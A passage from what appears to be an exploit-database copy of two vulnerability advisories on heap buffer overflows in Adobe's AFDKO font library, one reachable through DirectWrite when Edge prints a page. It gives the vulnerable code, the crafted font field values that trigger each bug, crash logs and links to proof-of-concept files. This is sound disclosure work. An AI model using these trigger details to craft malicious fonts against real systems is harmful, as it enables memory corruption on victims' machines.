allocated buffer in line 186. On 32-bit platforms, if the value is equal or larger than 0x40000000, the multiplication will overflow the integer range, resulting in allocating a buffer too small to store the data later written to it by the loop in lines 189-191. This behavior may subsequently lead to heap-based memory corruption. -----=====[ Proof of Concept ]=====----- The proof of concept file triggers the bug by declaring DirectoryCount as 0x40000001, which results in the allocation of a 4-byte buffer. Since more than one 4-byte offset is loaded from the font, a heap-based buffer overflow takes place in line 190 during the second iteration of the loop. -----=====[ Crash logs ]=====----- A crash log from a 32-bit "tx" tool (part of AFDKO) compiled with AddressSanitizer, run as ./tx -cff <path to font file>: --- cut --- ================================================================= ==25409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf50006f4 at pc 0x08255953 bp 0xffb10ff8 sp 0xffb10ff0 WRITE of size 4 at 0xf50006f4 thread T0 #0 0x8255952 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:190:34 #1 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13 #2 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14 #3 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25 #4 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5 #5 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #6 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17 #7 0x814263f in main afdko/c/tx/source/tx.c:1631:9 #8 0xf7b95275 in __libc_start_main #9 0x806a590 in _start 0xf50006f4 is located 0 bytes to the right of 4-byte region [0xf50006f0,0xf50006f4) allocated by thread T0 here: #0 0x810ddc5 in __interceptor_malloc #1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20 #2 0x8256bac in memResize afdko/c/public/lib/source/sfntread/sfntread.c:67:18 #3 0x82557a1 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:185:37 #4 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13 #5 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14 #6 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25 #7 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5 #8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17 #10 0x814263f in main afdko/c/tx/source/tx.c:1631:9 #11 0xf7b95275 in __libc_start_main SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/sfntread/sfntread.c:190:34 in readTTCDirectory Shadow bytes around the buggy address: 0x3ea00080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea00090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea000a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea000b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea000c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x3ea000d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa 0x3ea000e0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x3ea000f0: fa fa 00 fa fa fa 00 00 fa fa fa fa fa fa fa fa 0x3ea00100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea00110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea00120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==25409==ABORTING --- cut --- A slightly different crash is generated if we set DirectoryCount to a negative value (e.g. 0x80000000), which skips the loop in lines 189-191 and crashes a bit further down the line: --- cut --- ================================================================= ==26803==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf50006f4 at pc 0x08255d1d bp 0xffee0908 sp 0xffee0900 READ of size 4 at 0xf50006f4 thread T0 #0 0x8255d1c in sfrGetNextTTCOffset afdko/c/public/lib/source/sfntread/sfntread.c:256:12 #1 0x835f5dc in addTTC afdko/c/public/lib/source/tx_shared/tx_shared.c:5082:31 #2 0x83556d8 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5144:21 #3 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25 #4 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5 #5 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #6 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17 #7 0x814263f in main afdko/c/tx/source/tx.c:1631:9 #8 0xf7b0f275 in __libc_start_main #9 0x806a590 in _start 0xf50006f4 is located 0 bytes to the right of 4-byte region [0xf50006f0,0xf50006f4) allocated by thread T0 here: #0 0x810ddc5 in __interceptor_malloc #1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20 #2 0x8256bac in memResize afdko/c/public/lib/source/sfntread/sfntread.c:67:18 #3 0x82557a1 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:185:37 #4 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13 #5 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14 #6 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25 #7 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5 #8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17 #10 0x814263f in main afdko/c/tx/source/tx.c:1631:9 #11 0xf7b0f275 in __libc_start_main SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/sfntread/sfntread.c:256:12 in sfrGetNextTTCOffset Shadow bytes around the buggy address: 0x3ea00080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea00090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea000a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea000b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea000c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x3ea000d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa 0x3ea000e0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x3ea000f0: fa fa 00 fa fa fa 00 00 fa fa fa fa fa fa fa fa 0x3ea00100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea00110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea00120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==26803==ABORTING --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47096.zip
  25. -----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The readFDSelect() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the FDSelect table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below: --- cut --- 2352 case 3: { 2353 int nRanges = read2(h); 2354 2355 gid = read2(h); 2356 while (nRanges--) { 2357 int fd = read1(h); 2358 long next = read2(h); 2359 2360 while (gid < next) 2361 h->glyphs.array[gid++].iFD = (unsigned char)fd; 2362 } 2363 } break; --- cut --- In the handling of FDSelect Type 3 (see [5]), the code doesn't consider the size of the h->glyphs array and writes to it solely based on the FDSelect information. If the values read from the input stream in lines 2353, 2355 and 2358 exceed the number of glyphs in the font, the array may be overflown in line 2361, corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() based on the number of CharStrings found in the font: --- cut --- 1791 dnaSET_CNT(h->glyphs, index.count); --- cut --- -----=====[ Proof of Concept ]=====----- The proof of concept font contains an FDSelect table with the following initial values: - nRanges = 0x0001 - gid = 0x0000 - fd = 0x00 - next = 0xffff (modified from the original 0x0586) By increasing the value of "next" from 1414 to 65535, we cause the loop in lines 2360-2361 to go largely out of bounds and overflow the h->glyphs array. -----=====[ Crash logs ]=====----- A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report: --- cut --- ================================================================= ==235715==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fb8259a282a at pc 0x000000540130 bp 0x7ffe5b379f50 sp 0x7ffe5b379f48 WRITE of size 1 at 0x7fb8259a282a thread T0 #0 0x54012f in readFDSelect afdko/c/public/lib/source/cffread/cffread.c:2361:48 #1 0x529a3d in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2791:13 #2 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #3 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #4 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #5 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #6 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #7 0x7fb8246e02b0 in __libc_start_main #8 0x41e5b9 in _start 0x7fb8259a282a is located 42 bytes to the right of 143360-byte region [0x7fb82597f800,0x7fb8259a2800) allocated by thread T0 here: #0 0x4c63f3 in __interceptor_malloc #1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20 #2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17 #3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23 #4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13 #5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5 #6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9 #7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9 #8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #12 0x7fb8246e02b0 in __libc_start_main SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2361:48 in readFDSelect Shadow bytes around the buggy address: 0x0ff784b2c4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff784b2c4c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff784b2c4d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff784b2c4e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff784b2c4f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0ff784b2c500: fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa 0x0ff784b2c510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff784b2c520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff784b2c530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff784b2c540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff784b2c550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==235715==ABORTING --- cut --- A non-instrumented version of "tx" crashes with a SIGSEGV when it reaches an unmapped memory area: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x0000000000412cd7 in readFDSelect (h=0x710380) at ../../../../../source/cffread/cffread.c:2361 2361 h->glyphs.array[gid++].iFD = (unsigned char)fd; (gdb) print gid $1 = 1998 (gdb) x/10i $rip => 0x412cd7 <readFDSelect+551>: mov %cl,0x2a(%rdx) 0x412cda <readFDSelect+554>: jmpq 0x412ca3 <readFDSelect+499> 0x412cdf <readFDSelect+559>: jmpq 0x412c23 <readFDSelect+371> 0x412ce4 <readFDSelect+564>: jmpq 0x412cf7 <readFDSelect+583> 0x412ce9 <readFDSelect+569>: mov -0x8(%rbp),%rdi 0x412ced <readFDSelect+573>: mov $0x1c,%esi 0x412cf2 <readFDSelect+578>: callq 0x40cbb0 <fatal> 0x412cf7 <readFDSelect+583>: mov -0x8(%rbp),%rax 0x412cfb <readFDSelect+587>: mov 0x35f8(%rax),%rax 0x412d02 <readFDSelect+594>: mov -0x8(%rbp),%rcx (gdb) info reg $rdx rdx 0x7ffff7ff7020 140737354100768 (gdb) x/10bx $rdx+0x2a 0x7ffff7ff704a: Cannot access memory at address 0x7ffff7ff704a --- cut --- A similar Microsoft Edge renderer process crash is also shown below: --- cut --- (5960.48c4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!readFDSelect+0xe9: 00007ffb`29e6bd39 40886c012a mov byte ptr [rcx+rax+2Ah],bpl ds:00000263`f1d43002=?? 0:038> ? rax Evaluate expression: 2628282101824 = 00000263`f1d23040 0:038> ? rcx Evaluate expression: 130968 = 00000000`0001ff98 0:038> db rax+rcx+2a 00000263`f1d43002 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43012 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43022 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43032 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43042 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43052 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43062 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000263`f1d43072 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:038> k # Child-SP RetAddr Call Site 00 0000006f`88b4aef0 00007ffb`29e6de90 DWrite!readFDSelect+0xe9 01 0000006f`88b4af20 00007ffb`29e621e7 DWrite!cfrBegFont+0x5e4 02 0000006f`88b4b7b0 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x10f 03 0000006f`88b4bcb0 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212 04 0000006f`88b4be90 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249 05 0000006f`88b4c0b0 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192 06 0000006f`88b4c410 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 07 0000006f`88b4c4a0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 08 0000006f`88b4c5c0 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8 09 0000006f`88b4c610 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44 0a 0000006f`88b4c660 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 0b 0000006f`88b4c690 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 0c 0000006f`88b4c6c0 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 0d 0000006f`88b4c700 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 [...] --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 [5] https://docs.microsoft.com/en-us/typography/opentype/spec/cff2#table-12-fdselect-format-3 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47094.zip